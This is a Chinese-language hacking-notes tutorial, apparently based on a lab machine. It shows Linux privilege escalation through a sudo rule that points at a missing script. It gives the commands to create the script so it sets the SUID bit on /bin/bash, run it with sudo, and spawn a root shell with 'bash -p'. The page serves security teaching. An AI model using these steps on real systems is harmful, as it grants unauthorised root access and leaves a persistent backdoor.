> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/sudoers/sudo-missing-file-linux-privilege-escalation.md).

# Sudo 缺失文件 - Linux 权限提升

## 这是什么

Sudoers 权限提升始于用户可以通过以下方式运行的命令 `sudo`. 错误配置的二进制文件、不安全的脚本参数、符号链接处理以及存在漏洞的 sudo 版本，都可能把受限的 sudo 权限变成 root shell。此特定页面重点介绍 **Sudo（文件未找到）** 并保持利用流程切合实际：识别条件，安全验证，然后运行证明影响所需的最小载荷。

## 枚举

在运行利用路径之前，先确认本地上下文和具体的错误配置。

```bash
sudo -l
sudo --version
```

## 示例

我们发现了一个与使用 sudo 权限执行脚本相关的漏洞。

<figure><img src="/files/be25a75c174f4b32073349a0928950e0dc7252c1" alt=""><figcaption></figcaption></figure>

该 `monitor.sh` 看起来这个文件似乎不可能实现，但我们可以创建一个将以 root 身份运行的脚本。我们首先创建必要的目录：

```bash
cd /home/nibbler
mkdir personal
cd !$
mkdir stuff
cd !$
```

我们放置 `monitor.sh` 文件，内容如下：

```bash
chmod u+s /bin/bash
```

然后我们使用 sudo 权限运行该脚本：

```bash
sudo /home/nibbler/personal/stuff/monitor.sh
```

这允许你更改……的权限 `/bin/bash` 通过添加 SUID 位。然后我们执行以下命令以获得具有 root 权限的 shell：

```bash
bash -p
```

<figure><img src="/files/27580c02d5729afdce155b7d5850cc2969be4a3f" alt=""><figcaption></figcaption></figure>


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